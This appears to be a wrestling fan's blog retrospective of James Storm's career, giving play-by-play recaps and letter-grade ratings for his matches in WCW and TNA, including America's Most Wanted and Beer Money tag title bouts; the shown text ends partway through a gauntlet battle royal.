Evan Karagais takes Cassidy down to the mat to start but takes too much time dancing and gets slammed down. Riley tries a springboard but TOTALLY botches it, falling flat on his face. Even a WCW crowd in 2000 can laugh at that. Paris (then partner of AJ Styles) comes in off the top to take over and drops an ax handle to take over. Karagais comes back with a powerslam before it’s off to Moore.

Paris nails a leg lariat but almost drops Shannon in a wheelbarrow slam. Evan trips Paris from the apron and a double team fall away slam/neckbreaker combination gets two on Air. Helms comes in with a superkick and some running legdrops for two. 3 Count starts speeding up the tags but Moore misses a moonsault. Storm comes in off the hot tag and cleans house as everything breaks down. 3 Count clears the ring and hits an assisted wheelbarrow slam on Storm for the pin.

Rating: D. Exactly what I was expecting here and there’s nothing wrong with that at all. This was just a long squash with the jobbers looking better than most people of their level. Storm had some intensity out there and it’s always cool to see a guy like that when he’s first starting, knowing what he’s going to become.

Storm would head to TNA when it first opened and appear on its first card.

Johnsons vs. Psicosis/James Storm

Yes, it’s the tag team that wear masks and full body suits in flesh color.  What do you think they look like? This team actually exists. Storm looks completely different too and it’s not a good thing either. Storm fires off some cap guns. Good for him. OH MAN he looks young. Apparently their names are Richard and Rod, or Dick and Rod. I hate this already. Ryan Shamrock comes out looking hot to watch them.

And now it devolves into nothing but bad jokes. They say Psicosis’ real name for absolutely no apparent reason. Ryan Shamrock, called Alicia, still is there. Storm hits a rana and a very good one at that. They say Storm could be great. Not really but he’s not bad. And then he gets pinned off a bad TKO.

Rating: D+. This was just pointless. It’s like they have nothing but the main event and they know it. This was just freaking awful. The jokes were completely pointless and annoying. I have no clue what they were going for here but whatever.

He would soon hook up with Chris Harris in the team that would become AMW. They were entered in the Gauntlet For the Gold at Weekly PPV #12 to crown the first Tag Team Champions.

Gauntlet for the Gold

There are twenty people (ten teams) in this with two individuals starting. It’s a Royal Rumble style match and when there are two people left, the partners return for a tag match for the vacant titles, which were vacated when AJ/Lynn had a double pin against Jarrett/Killings. Brian Lawler is #1 and James Storm is #2. Lawler crotches him on the ropes before the bell but Storm fires off right hands. Apparently Chris Harris is going to be #20.

Storm pounds away to start and a missile dropkick puts Brian down. With nothing else happening, here’s Jose Maximo at #3. Lawler gets double teamed in the corner for a bit before fighting both guys off. Derek Wyles is #4 but after some headscissors, Lawler throws him out. Joel is dumped too and we’re back to Storm vs. Lawler. Actually scratch that as Lawler eliminates his third guy in a row by sending Storm out. You know, because Brian Lawler is AWESOME.

Buff Bagwell is #5 and he comes in with middle fingers blazing. Oh wait he’s Marcus Bagwell here, despite looking and wrestling like he has for years. Bagwell hits a neckbreaker and pounds away in the corner until Kobain is #6. Lawler again gets to dominate some more talented people until Ace Steele is #7. There’s nothing of note to talk about here as it’s just standing around and slowly beating on each other in the corner with Lawler biting Bagwell’s head.

Jorge Estrada is #8 and gets chopped by Steele. The ring is getting too full now. Lawler hits Bagwell low in the corner and Brian Lee is #9. Hopefully he can throw some of these little men out. We don’t get that of course since that would help the match, so here’s Syxx-Pac at #10. Syxx cleans house and dumps Jose off a chop (yes a chop) before hitting the Bronco Buster on Marcus.

CM Punk (Steele’s partner) is #11 but Steele is thrown out before Punk makes it to the ring. We hear about how impressive it is that Lawler has lasted ELEVEN minutes as Jimmy Rave (Derrick Wylde) is #12. Punk hits a Rey Mysterio sitout bulldog on Rave as there are too many people out there. Ron Harris (Brian Lee) is #13 to give us our first full team. Their dominance is shown as they send Jorge to the apron, but the Karate Elvis (again, seriously) sunset flips Lee down to survive. The second attempt works though and Estrada is gone.

Punk and Rave are tossed by the big guys as well, meaning two full teams are eliminated. Syxx sends out Bagwell and Lawler (no fanfare, which is odd as the announcers have spent ten minutes worshipping the guy) as BG James (Marcus Bagwell) is #14. We get heel miscommunication between Lee and Harris but Road Dogg (blonde here for some reason) gets stomped down I the corner. Joel Maximo (Jose Maximo) is #15 and is out about two seconds later.

Syxx gets hit with a big double spinebuster but since Waltman is a GIANT KILLER he clotheslines both of them down at once. Since we haven’t seen enough of him tonight, here’s Brian Lawler AGAIN to throw out Syxx. Slash (Kobain) is #16 and BG James is triple teamed. Sonni Siaki (Jorge Estrada) is #17 and he goes after Slash to give James a breather.

Disco Inferno (Brian Lawler) is #18 as the match continues to drag. Scott Hall (Syxx Pac) is #19 and he pounds away on Lee. Ron Harris is dumped out and Chris Harris (James Storm) is #20, giving us a final grouping of Hall, Chris Harris, Siaki, Disco, James and Lee. The announcers aren’t sure if Slash was eliminated despite seeing him go over the top. Siaki is dumped and Disco gets caught between Hall and BG until Hall finally knocks him out. Hall and James square off but Lee jumps both guys for stereo eliminations, getting us down to Harris vs. Lee, meaning the battle royal is over.

Rating: D. This was long and dull with the partner thing going almost nowhere. Between that and the worship of Brian Lawler, this never went anywhere. The fast intervals helped, but so many of these people are unknown for the most part, which makes it hard to care about any of them. Also the two giants looked pitiful out there for the most part which didn’t do them any favors.

Tag Titles: James Storm/Chris Harris vs. Brian Lee/Ron Haris

Ron chokeslams James on the stage to start things off as a handicap match. Also here’s Jeff Jarrett to beat up BG James and take the focus off the title match. Lee kicks Chris in the face as AMW (are they even called that yet?) is in big trouble. Chris comes back for a bit but gets clotheslined down for two. West points out the problem here: too many people named James and Harris.

Storm finally gets back in and cleans house, only to get caught in a chokeslam/belly to back suplex combo for no cover. Ron pulls out a table for no apparent reason and lays Storm out on top of it. Lee loads up Chris in a chokeslam but gets rolled up (and into the ropes) to give AMW the pin and the titles.

Rating: D. This was barely even a match with Chris getting beaten down for a few minutes and Storm being on the floor most of the time. The table thing was stupid and the ending was even worse as both guys were in the ropes for the fall and the referee counted it anyway. Nothing to see here, but at least the right team won.

America’s Most Wanted would DOMINATE the tag division for years. Their first major rivals were XXX, who they would face on June 25, 2003 in a cage match.

Tag Titles: Triple X vs. America’s Most Wanted

From June 25, 2003 and inside a cage. This isn’t the famous cage match these teams had but I’ve seen this one before and it’s awesome as well. The champions XXX are comprised of Elix Skipper and Christopher Daniels while the challengers are James Storm/Chris Harris. This is the fifth match but XXX has won via outside interference every single time. This is also TNA’s first ever cage match.

It’s a brawl to start but the referee makes them tag to get on my nerves. Harris bulldogs Daniels down before AMW picks up Skipper and launches him into Daniels. This is pin or submission only, meaning escape doesn’t count. Daniels and Harris are the official starters and the fans chant for the Fallen Angel. Skipper gets in a cheap shot from the apron before throwing him face first into the cage for two. Harris is already busted open.

The champions take turns stomping on Harris’ forehead until Daniels gets two off a springboard moonsault press by Skipper. Harris gets a lucky shot off a running clothesline but Daniels kicks his head off for two. Back to Skipper who sends Harris into the cage again but Harris comes off the ropes with another clothesline. There’s the hot tag to Storm who cleans house, sending Skipper chest first into the cage with a reverse suplex. A powerslam gets two on Daniels but he kicks Storm’s knee out to slow him down.

We get a Kill the Cowboy chant, which is hopefully a remnant from the early days of the company rather than the fans not liking Storm’s current work. The champions hit a suplex/cross body combo on the bloody Storm but Skipper’s ribs are injured from being sent into the cage. Back up and the two of them rams heads, setting up a double tag to Harris and Daniels. Harris takes over with the raw power by ramming Daniels head first into the cage over and over. Skipper’s ribs get reacquainted with the steel as well as Daniels is busted open too.

Harris loads up the Catatonic (spinning Rock Bottom) but Daniels counters into the Angel’s Wings (lifting sitout Pedigree) for a very close two. Everything breaks down and Daniels blocks a reverse tornado DDT by taking Storm onto the top rope for an STO to the mat. Skipper belly to bellys Harris down before sending him into the cage again. Elix goes up top for no apparent reason but gets powerbombed down in a HUGE crash to give Harris a near fall.

Daniels hits Last Rites (Cross Rhodes) on Storm for an even closer two as Harris makes yet another save. Harris and Daniels go up top but Daniels backs away across the rope, allowing Harris to hit a diving spear for an even closer near fall. Skipper takes Harris down with the Play of the Day before going for a very big climb. Elix dives off the top with a high cross body but reinjures his ribs in the process. STORYTELLING BABY!

A delayed cover gets two so Skipper goes up again, only to be knocked down a bit and then out to the floor. Storm superkicks Daniels down and the Death Sentence (spinebuster/legdrop) mostly misses Daniels for two. Skipper tries to climb back in but gets knocked back to the floor. Harris goes up to the very top of the cage for a HUGE Death Sentence to crush Daniels for the pin and the titles.

Rating: A. There’s your price of admission right there. This was all about taking two teams and having them beat the tar out of each other for twenty minutes. On top of that we have the story of Skipper’s ribs in a good piece of psychology, a rarity in matches like these. The amazing thing is these four would top this effort in another cage match at Turning Point the following year. Great match.

AMW would lose the belts in 2004 but get another shot at them on the first episode of Impact, on June 4, 2004.

Tag Titles: America’s Most Wanted vs. Kid Kash/Dallas

AMW is challenging. The idea is Kash and Dallas have been ducking the only team they know can take the titles but tonight they’re out of places to run. The winners here have to defend against the winners of a fan poll next Wednesday night. Kash and Storm get us going with the Cowboy taking him down by the arm. Off to Harris for a clothesline and bulldog for two but Dallas makes the save.

Back to Storm who gets caught in a hot shot, allowing for the tag off to the big man Dallas. We take a break and come back with Storm superkicking Kash down, only to have Dallas make the save at two. Kash goes to the corner and climbs onto Kash’s shoulders but misses the moonsault, allowing for the hot tag off to Harris. A cross body and clothesline get two each on Dallas as everything breaks down. Dallas loads up Storm in a reverse Razor’s Edge before flipping him down onto his back for a frog splash from Kid but Harris spears Kash down. Dallas kicks Harris in the face but Storm rolls him up for the pin and the titles.

Rating: C+. Basic tag formula here with a title change to give the show some historical significance. AMW continues to be the best team ever in TNA as they have that chemistry that you only see in great teams. Kash and Dallas were just placeholder champions until AMW stopped their singles stuff over the last month or so.

Here’s the most famous tag match in TNA history. From Turning Point 2004.

America’s Most Wanted vs. Triple X

This is one of the things that TNA did that was indeed different: sometimes something other than the heavyweight title feud ended the show, which is definitely a good idea here. The six man was just ok but this was a great match. This is in a cage remember. AMW brings in handcuffs. That’s a signature thing for them and they’ll come into play later so remember that.

They have to tag here but I’ll give that ten minutes tops. Daniels and Storm start us off. Is there a significance to the tape that Daniels puts on his left shoulder that I’ve never gotten? I’ve always wondered that. Off to Daniels who kicks Storm in the back to take control. It breaks down quickly and AMW double teams Daniels. Off to Harris as Daniels is already busted open.

Skipper (XXX is Daniels/Elix Skipper if you weren’t sure on that one) gets his team the advantage and gives it back over to Daniels. He’s GUSHING already. Harris takes Skipper down and it’s back to Storm. Powerslam puts Daniels down. They load up the Death Sentence on Skipper but Daniels makes the save. Skipper pulls a towel back and handcuffs Harris to the post. West: “Oh what a dirty trick!” Yes, handcuffing your mortal enemy to a cage and making him defenseless is the same sort of thing you would hear on The Brady Bunch Don. Well called.

XXX double teams Storm and Daniels taunts Harris with the key. They drive the key into the head of Storm and hit a double team powerbomb/elbow combination for two. We get some heel miscommunication and Storm spears Daniels. There’s the key and Harris in free. That’s a nice twist on the hot tag because it’s basically the same thing. Harris cleans house and Storm is back up too.

I think everyone but Harris is bleeding. Triple X gets rammed into the cage multiple times but Skipper grabs a belly to belly to Harris. A suplex/cross body combo gets two. Hart Attack gets two on Skipper. Daniels hits a quick Downward Spiral to Storm and Harris goes into the steel. Harris is busted too. Death Sentence (AMW’s finisher) gets two on Harris who kicks out.

Skipper goes to the top of the cage (I don’t think you can win by escape) to Harris POWERBOMBS HIM OFF THE CAGE for two. FOR TWO. Angel’s Wings gets two for Daniels. Daniels goes up but Harris follows him. Now it’s time for the highlight reel moment to end all highlight reel moments in TNA. Skipper is sitting on another corner than Harris and TIGHTROPE WALKS THE EDGE OF THE CAGE AND HURRICANRANAS HARRIS TO THE MAT!!! WOW!

Daniels IMMEDIATELY drops an elbow off the top of the cage BUT IT GETS TWO. Daniels goes back up as we watch replays for a four man Tower of Doom. Daniels overrotates and lands on his face. Harris powerbombed Skipper who electric chaired Storm who suplexed Daniels. Everyone is pretty much dead but Skipper and Harris counter each others’ finishers. Everyone knocks everyone else down and Harris handcuffs Daniels to the cage in a nice play off what happened to him earlier. Last Call to Skipper and AMW pins him with XXX’s PowerPlex to split up XXX.

Rating: A+. What else did you expect me to give this? This match holds up incredibly well with the few moments from the cage walk to the Tower of Doom being as breathtaking as you’ll ever see. Absolutely awesome match and if you’re a fan of bloodbath cage matches that leave your jaw hanging open, find this right now because it’s excellent.

Since AMW dominated for SO long, we’ll jump ahead to Bound For Glory 2005. AMW is now a heel team and their opponents here have given them more headaches than any other team in history.

Tag Titles: America’s Most Wanted vs. The Naturals

I can never remember which one is Stevens and which one is Douglas. It’s a big brawl on the floor to start with the Naturals in control. Ok Douglas has the bandage on his head. Got it. Storm gets powerbombed into the railing which looked SICK. The challengers get Harris in the ring and beat him down in the corner. Storm is walking out on the match. The Naturals go back and get him because it’s about revenge more than the titles. I can live with that if it’s done right and it has been here.

We’re over three minutes into this and there has been no tagging or one on one in the ring at all so far. Harris gets choked by both Naturals on the floor until they get bored and Douglas goes after Storm. Gail finally does something and distracts Douglas, allowing Storm to send him into the Ultimate X structure. Douglas’ cut is busted open now. Five minuets in now and they’re in the ring but it’s still 2-1.

Ok it’s FINALLY Storm vs. Douglas. Eye of the Storm gets two and Harris comes in without a tag. Stevens comes in after Douglas was in trouble for about a minute. Douglas is bleeding pretty good though so that likely has something to do with it. A Naturals double team gets two on Storm. The move that would later be named the Last Call misses and Stevens hits a kick of his own for two.

Gail throws in some powder to Harris but Chase Stevens knocks it into the Wildcat’s face. Harris hits the Catatonic (spinning Rock Bottom, his finisher) on Storm. The Naturals hit the Death Sentence on Harris but it only gets two. Gail breaks up the Natural Disaster (double team elevated Stunner) so Douglas goes to the floor and grabs her by the hair. The distraction lets Harris handcuff Douglas to the barricade. Stevens his an enziguri on Storm but Harris busts a bottle over Stevens’ head and the Death Sentence retains the title.

Rating: B. WOW. This was only about ten minutes long but they flat out DO NOT STOP the whole time. It’s a wild brawl and I bought into the revenge that the Naturals were wanting the whole way. The biggest criticism of the Naturals is that they have no charisma, but man they were bringing it here and the match WORKED. Very good stuff. AMW would hold the titles for over eight months until the dream team of Styles and Daniels took them away.

The next major challengers were AJ Styles and Christopher Daniels, billed as a dream team. AMW’s manager Gail Kim cheated to keep the belts on her men, but a rematch took place at Sacrifice 2006.

Tag Titles: America’s Most Wanted vs. Christopher Daniels/AJ Styles

Styles and Daniels jump the champions to start and Daniels/Harris go to the floor so AJ can hit the dropdown dropkick on the Cowboy. Daniels comes in and we’re ready to go. He takes Storm down and cranks on the arm but it’s off to Harris who runs Daniels over. The challengers double team Storm and Harris’ full nelson slam is countered into a bridging Indian Deathlock with a chinlock but the Cowboy makes the save.

Styles comes in legally now and the challengers tag in and out quickly to work on the arm. AMW finally starts cheating and get Daniels into the corner to take over. The champs cheat like true heel champions would do with choking and face pulling before Harris hooks a chinlock. A back elbow gets two on the Fallen Angel. Daniels counters an Irish whip to send Storm’s shoulder into the post and it’s hot tag to AJ.

AJ speeds things way up with his headscissors but Storm makes the save. Daniels gets tagged back in for some reason and we get a Tower of Doom with Daniels on top. Oh scratch that as he shoves the Tower down and hits a top rope cross body for two on Harris. I wish AMW would have their names on their trunks because when their backs are to the camera it’s very hard to tell them apart.

Daniels throws Harris into the crowd and AJ dives from the top rope over the barrier and onto Harris. The match kind of breaks down a bit and everyone is on the floor. A fan has a box of cereal for some reason. Back in and Daniels breaks up the Death Sentence before putting Harris into a fireman’s carry. AJ hits the Pele before the DVD hits to kill Harris dead. BME misses but the Last Call does as well. Harris hits his spear to take Daniels down for two.

It’s Storm vs. Daniels legally now but Daniels hits a double clothesline to bring in Styles. AJ goes up high with a double clothesline of his own but he charges into a boot from Storm. AJ loads up a superplex but Harris makes the save, resulting in a Doomsday Device into a reverse tornado DDT by Storm for two. That looked awesome.

Daniels comes back in for the save and the challengers hit a BME/Frog Splash combo for two on Storm. Styles tries the Clash but the Cowboy escapes with a low blow and the superkick for two. Angel’s Wings hits Storm for two as Harris makes the save. This is getting awesome. Daniels, Harris and the referee get knocked to the floor and something falls from the rafters into the ring. It’s a nightstick and Gail Kim is seen in the rafters. AJ hits the Clash on Storm but Harris blasts him in the back of the head with the nightstick for the pin to retain.

Rating: B+. This was getting awesome at the end but we had to have Gail Kim interfere to end the thing. This would set up another match at Slammiversary which wasn’t as good but it gave us the title change which we needed. Still though, this was the old school idea of putting four guys out there and giving them fifteen minutes to have a great match. As usual, it worked.

The team would eventually split with Storm turning heel and blinding Harris with a beer bottle. The first match at Lockdown sucked, but the rematch at Sacrifice 2007 was a bit better.

Chris Harris vs. James Storm

This is a Texas Death Match, which is last man standing but you have to get a pin or submission before the ten count begins. Both guys are in street clothes. In a cool visual, Harris rips up an AMW shirt on his way to the ring. This feels like it’s going to be awesome which is a very good sign. They slug it out in the aisle and Harris has the trademark handcuffs.

They go into the crowd almost immediately and Storm is running away. They’re in the back row of the arena and Storm is almost thrown over the wall in the back. I wonder what’s back there. Maybe it’s where they keep Shark Boy? All Harris so far as they head to the ring. Storm throws a drink in Harris’ face to shift momentum but Storm gets thrown into a wall to changes things right back again.

Harris is in the ring alone and has a beer and a chair. Storm is still over the railing so Harris hits a HUGE dive over the railing to kill Storm dead and gets a pin. Storm is up at 8 though. Harris goes up again but Storm knocks him off and gets his leg tied up in the ropes so that he’s in a Tree of Woe but hanging outside the ropes. Storm cracks him with a chair to the head and Harris is busted.

It’s Table Time as Harris is placed on the top rope. He avoids a hurricanrana and counters a sunset flip (???) into a Sharpshooter of all things. Well it takes out the legs so that makes sense. He can’t get it on so he kicks Storm in the balls. He catapults Storm face first into the bottom of the table, cutting him open on the metal part. FREAKING OW MAN!!! Harris can’t suplex him through the table so Storm kicks him low to balance things out.

Storm hits the Eye of the Storm to put Harris through the table. That looked awesome and it gets an academic pin but only gets nine. Here’s another table brought in by the Cowboy. He falls down trying to get it in though, probably due to blood loss. The table is on the outside but Storm can’t hit another Eye over the top. Harris goes to the apron and gets caught in an Elevated DDT for no cover.

Storm brings in various basic hardcore weapons but as he’s getting in himself, Harris spears him through the ropes to put him through the table. Not exactly Foley vs. Edge but not bad. Back in, Harris picks up a chair and Storm superkicks it into his face for two. Storm is STUNNED. You can’t see Storm’s face. It’s literally a crimson mask. They trade HARD trashcan lid shots and Harris hits the Catatonic (spinning Rock Bottom) onto a trashcan for two.

Now the match gets taken down a peg because Jackie Freaking Moore has to get involved. WHY DOES SHE ALWAYS HAVE A JOB??? She isn’t attractive, she’s nothing special in the ring, she’s always getting in the way, and NO ONE FREAKING CARES ABOUT HER. And if you say you do, you’re lying. Gail Kim comes out and cuffs her so she can drag her out of here. Both guys have beer bottles and Harris gets a shot to the head of Storm for the pin and the ten count. Perfect way to end it.

Rating: A. GREAT brawl and war here which is exactly what they needed to do. Tenay and West freak out and say how great it is and for once this year, they’re right. This was a blood war and Storm’s face is absolutely scary given how much blood there was on it. Great match and absolutely worth seeing based on the level of violence here.

Speaking of gimmick matches, here’s one of the ones that didn’t last long. From Destination X 2008.

Elevation X: Rhyno vs. James Storm

Beer Money would be coming soon enough to end this feud. Considering we have two matches left and 35 minutes or so on the show, I have a bad feeling about this. Rhyno slips climbing up as you can already see how stupid this is. Storm goes down as Rhyno comes up. Rhyno throws beers that Storm had on top of the X with him at Storm.

We’re fighting on the floor now in a scaffold match. A table is set up by the former world champion and I already hate this match. This is a GREAT scaffold match guys. Them being a full FOUR FEET off the ground is great here. Jackie gets chased by Rhyno and of course climbs the scaffold. She goes down and we start the match only 7 minutes after the bell rings.

We keep looking to the crowd to see the fans all concerned despite them crawling or sitting on the X. Rhyno almost falls but lands on another part of the X. This is just them hanging on and punching each other. The fans WANT WRESTLING. The X is covered by red wood and has metal bars under that. Storm hides on the bars so Rhyno can’t see Storm. This is like some bad action movie minus the action. Rhyno rips the wood up and grabs Storm to get him out. This is beyond description of awfulness. Storm hangs from underneath and gets kicked into a perfectly placed table to end this monstrosity.

Rating: F-. As the fans said, WE WANT WRESTLING. This of course was the longest match of the night and by far the worst. They show the fall again and you see that it would be like the height Jeff gets on a Swanton Bomb. At least it’s over and this would only happen one other time, I believe after this.

Storm would soon form a new team with Bobby Roode called Beer Money. Their first shot at the belts came at Hard Justice 2008.

Tag Titles: Beer Money vs. LAX

The same rapper from earlier sings LAX to the ring. Well this does result in Salinas shaking her hips so it’s not all bad. Beer Money beat up Homicide on Impact and hurt his eye. Roode vs. SuperMex gets us going officially but there’s enough double teaming that it’s hard to tell for sure. Storm gets beaten up too and takes a 30 second delayed vertical suplex. Hernandez is scary strong.

Storm heads to the floor and Hernandez hits a huge dive to take Beer Money out. Homicide comes in to beat on Roode in revenge for the eye injury. Storm spits beer at Homicide to blind him and take over. They work over the eye and the neck a bit with Storm pounding away at it. The bandage is off. A tilt-a-whirl backbreaker by Roode gets two. The challengers hit a double suplex and shout their names.

An Orton elevated DDT gets two. Off to one of the least convincing chinlocks I’ve ever seen from Storm. It looks like he’s cuddling Homicide. Roode uses Three Amigos to some solid heel heat but really gets them mad by slapping his chest. A frog splash misses and both guys are down. Hernandez claps for Homicide and has some small hands. There’s the hot tag and it’s time for power moves.

Beer Money double teams him to get him down and the blockbuster gets two. SuperMex hits a double clothesline and tags Homicide in again which is probably not all that smart. He hits a frog splash of his own for two as Storm kicks out. The tagging aspect has been forgotten here. Roode hits his spinebuster and Storm hits a Backstabber to the back of Hernandez.

The champs are both down in the ring and Beer Money is on the floor. Hernandez uses Homicide as a missile and Border Tosses him on top of Beer Money. Salinas and Jackie fight on the floor and the distraction lets Roode break a beer bottle over Homicide’s eye for the easy pin by Storm for the titles.

Rating: B. Another good match from Beer Money as they know how to use a tag team formula as well as almost any modern team. LAX is a team I never got the universal appeal of but they were pretty good here. The eye injury was a good help to the story for the most part and we got a solid match out of it. Good stuff.

What would a tag team be if they didn’t face the Dudleys? Team 3D has the belts here but Beer Money won a tournament to get a shot at Slammiversary 2009.

Tag Titles: Beer Money vs. Team 3D

3D was in Japan last night so they’re a bit spent. They’re the IWGP tag champions but that doesn’t mean much here. D-Von vs. Storm to start us off. Basic start and it’s off to Roode and the double teaming begins. Roode tries to hammer on Ray and that just fails completely. Ray chops away in the corner and a HUGE German sends Roode into near death.

Double teaming takes Beer Money down but it’s off to Storm vs. D-Von with the alcoholic taking over. Down goes Storm and there’s the double tag. Bubba Bomb gets two and everything breaks down again. What’s Up to Roode and it’s Table Time. Storm is almost put through one on the floor but instead Roode hits a spinebuster for two. There’s the Beer Money shout.

And here come the Brits because we haven’t had a run-in in awhile I guess. This was a three way feud for awhile and the fans chant USA for a bit. They sit in on commentary a bit while West uses a BAD British accent. We actually go split screen because we need to see the commentators TALKING right? Oh good they got rid of it. Now they’re just showing the commentators instead. This company makes my head hurt badly.

D-Von gets a hot tag if you’re interested in the match. He cleans house and gets a left armed Rock Bottom for two. I think they hit 3D II (the belly to back neckbreaker) but we need to see Magnus talking about a cross body instead of the move. Storm hits a cross body to take out both guys and then a Doomsday Device is broken up. Storm hits a top rope rana to set up a top rope splash from Roode to D-Von for two.

Ray breaks up a double superplex attempt on D-Von and the Doomsday Device gets two on Roode. The beer spit goes into Roode’s eyes (as always) and 3D hits 3D on Roode but Terry pops up on the apron. BUBBA DIVES OFF THE TOP TO THE FLOOR TO TAKE OUT THE BRITS!!!! WOW!!!!! Williams is knocked through the table but Last Call and DWI give Beer Money the belts.

Rating: B. This would have been high but the Brits were a bit annoying. They were playing this up almost like the chess match but it couldn’t quite hit the level of epic that they were going for I don’t think. Still though, good stuff from two great teams, back in the day when the TNA tag division really was awesome, especially with the Guns floating around out there somewhere.

We’ll skip ahead a bit more since Beer Money was around a LONG time. Here’s one of their matches with a team that needs no introduction. From Victory Road 2010.

Tag Titles: Beer Money vs. Motor City Machine Guns

Ok so the Guns more or less have to win here. I like the Guns’ music. Storm and Shelley start us off. They’re doing a slow build to start us off as Taz says the Guns are the best team from their city, including the Tigers. Uh, deep? We get a Mel Torme reference of all things as we’re talking about tap dancing. Beer Money takes over and after a double vertical suplex they do their thing.

Shelley is getting beaten on. This is a good match so far so it’s hard to make jokes. Well other than Taz and Tenay who are always jokes. Ah there’s Sabin. I like him better than Shelley I think. We crank it up a bit and Sabin hits a running punt on Storm while he’s on the apron and Storm is on the floor. The crowd is getting back into it a bit too. Eye of the Storm gets two on Sabin.

I’m sorry for the excessive play by play here but that’s the main thing going on here. That made less than no sense but just go with it. We’ve lost any resemblance of a tag match here as it’s just all insanity. Maybe Heyman is booking the company. Everything just goes insane and this is awesome for once. The Guns dominate as Storm has a beer bottle. The referee gets beer spit in his face as the Guns hit a combination splash/neckbreaker on Roode for two.

There’s another referee here now and I have a bad feeling about this. It’s ALL Guns here as we’re going fast paced here. They hit their kick combination and cover Roode as Storm rolls Sabin up. The referees count a double pin and it’s Dusty Finish time. Earl, not the original referee, says restart it. The Guns win in like a minute with the same thing they did earlier, making the restart TOTALLY POINTLESS. Very good match though so I can’t complain much.

Rating: A-. This was a VERY good match. The main thing holding it back is the restart which was the walking definition of overbooking. What in the world is that supposed to help? Whatever it was I certainly don’t get it. The Guns are the champions, albeit nearly three years later. Still though, if they’re going to win them, at least win them in a classic I guess. Very good match all the way through. Loved it.

The team would turn face eventually and start doing a lot more singles stuff. Roode would win the BFG Series in 2011 but lose in the title match at Bound For Glory. Storm however got a shot on October 20, 2011.

TNA World Title: Kurt Angle vs. James Storm

The bell is ringing at 10:55 so this is going to be short. Angle pounds him down in the corner but brags too much. He walks into a superkick and Storm is champion at 1:20. Well they can’t make it much more definitive than that.

Roode would turn on his partner two weeks later to win the belt. Storm would lose what should have been the easiest layup ever for TNA in his home state at Lockdown 2012, but TNA felt the SWERVE was the better choice. Storm would take time off afterwards before answering an open challenge at Slammiversary 2012.

Crimson vs. ???

Crimson runs down Texas a bit and says he’ll fight a Maverick, a Ranger or a Cowboy if he has to. The opponent is…..JAMES STORM? Oh yeah the streak is done. The match starts fast and Crimson is quickly clotheslined to the floor. Storm has the old trenchcoat too. We get some hard chops in the corner but Crimson comes back with a shot to the head. There goes the coat and Storm is in some trouble. Storm shrugs all that off, hits the Codebreaker which has another name that I can’t remember, seems to go into a seizure, and hits the Last Call to end the streak at 2:09.

Storm would get another chance at Roode at BFG 2012.

James Storm vs. Bobby Roode

MMA fighter King Mo is guest outside referee for no apparent reason. Storm takes over to start and hits a fast backdrop. We head to the floor with Storm in control. He hits Roode in the back with a chair but Roode sends him into the barricade to counter. Storm leg sweeps him into the barricade as well and Roode is in trouble early. Bobby comes back and sends Storm into the post, busting him open. Well at least they’re not waiting on bringing the violence here.

We get the weapons thrown into the ring and the fans want tables, because what would a street fight be without tables? Oh man Storm’s cut is a gusher. Roode puts a chair between the top and middle ropes, allowing James to come back with some kendo stick shots to the ribs. Storm hits a trashcan into Bobby’s balls using a kendo stick like a golf club to make Roode vibrate on the mat.

They head to the ramp with Storm hitting a DDT on the I guess wood. Storm jabs Roode in the ribs with a fan’s crutch and DESTROYS him with a trashcan. Mo hasn’t been a factor yet. Roode snaps off a spinebuster onto the ramp out of nowhere to give himself a breather. Storm grabs a fan’s beer for a quick refreshment. They head to the announce table and Roode kind of spears Storm through the other table to take over. There is blood EVERYWHERE. That gets two back in the ring and Roode yells at Hebner, which gets him in trouble with Mo.

The distraction lets Storm hit the Codebreaker and Last Call….for two. I’m glad that was only two as it would have been a pretty weak ending. Another superkick is caught and Storm is sent face first into the chair Roode set up in the corner a long time ago. That gets two so Roode puts Storm on the top rope. He gets a chair for a hard shot to the head and busts out the bag of thumbtacks. See, now that it’s been awhile since we’ve done this, it means something again. Roode tries a superplex onto the tacks but gets shoved down into them in a painful looking spot.

Storm drops a top rope elbow for two but Roode hits him low to stop Storm’s comeback. Roode goes to the floor and gets a beer bottle which is what started this whole thing. Storm hits Bobby low, takes a drink of the beer, and cracks the bottle over Roode’s head. Storm stands him up, and with Roode out on his feet, a second Last Call sends Roode into the tacks for the pin at 17:27. King Mo was barely a factor here and didn’t need to be around at all.

Rating: B+. In short, the cage match was better. That’s all this boils down to: the match at Lockdown was one of the best built up matches I can remember in a long time but they extended the feud because that’s what seemed like the right idea. Now don’t get me wrong: this was a great brawl and a good bloodbath and it had the perfect ending to the feud, but the feud didn’t need to be here, or at least not with Storm losing the second match. This is like Rock beating Austin at Wrestlemania 19 with nothing on the line. It’s a very good match, but it doesn’t mean as much.

Storm would enter the Joker’s Wild competition at a One Night Only show and make the finals.

Gauntlet Battle Royal

It’s basically a 12 man Royal Rumble meaning you eliminate people by going over the top and the winner get the money. Storm is #1 and Roode is #2. I think there are two minute intervals between entrants here. Roode sends him into the corner to start and pounds away as the announcers make thinly veiled references to the Royal Rumble. Storm comes back with an atomic drop and a backdrop before pounding away in the corner. Roode holds off elimination until D-Von is #3. That would put the intervals at about 90 seconds.

Storm gets double teamed for the entire time as Doc is #4. Seriously, there was nothing to talk about in that whole stretch. The bikers beat on the former Beer Money as Tazz asks what kind of a roller coaster he is. Storm gets up a boot in the corner and D-Von is in trouble. A double suplex puts Doc down and a double clothesline puts him out. D-Von clotheslines both guys down and Jesse Godderz is #5.

D-Von chokes Storm in the corner as Roode beats on Godderz. Bobby tries to put Storm out but Jesse the idiot breaks it up. Christian York is #6 as everyone fights each other. D-Von takes turns beating on Godderz and York as Beer Money continues their eternal feud. Joseph Park is #7 and appears to be sweating before he makes it to the ring. Now the intervals are at two minutes.

Roode offers an alliance with Park but kicks him in the ribs instead. Park runs him over before pounding on York in the corner, only to be hit low by D-Von. We’re into your standard battle royal formula here: a lot of stomping and punching near the ropes with the occasional attempted elimination. Mr. Anderson is #8 and still showing no indication of being part of Aces and 8’s here. He chops Jesse and hands him to Park for the easy elimination.

Now Anderson goes after Park for a bit before heading towards D-Von. The camera cuts away and once we go back, it’s Anderson working on Storm. Nice editing there. Park has D-Von in trouble in the corner but he sneaks back in. Daniels is #9 and you know he’s strutting on the way to the ring. He and Roode team up to have Park in trouble but an eye rake keeps the big man safe. Daniels is the only one doing much at the moment as we’re firmly in the battle royal lull.

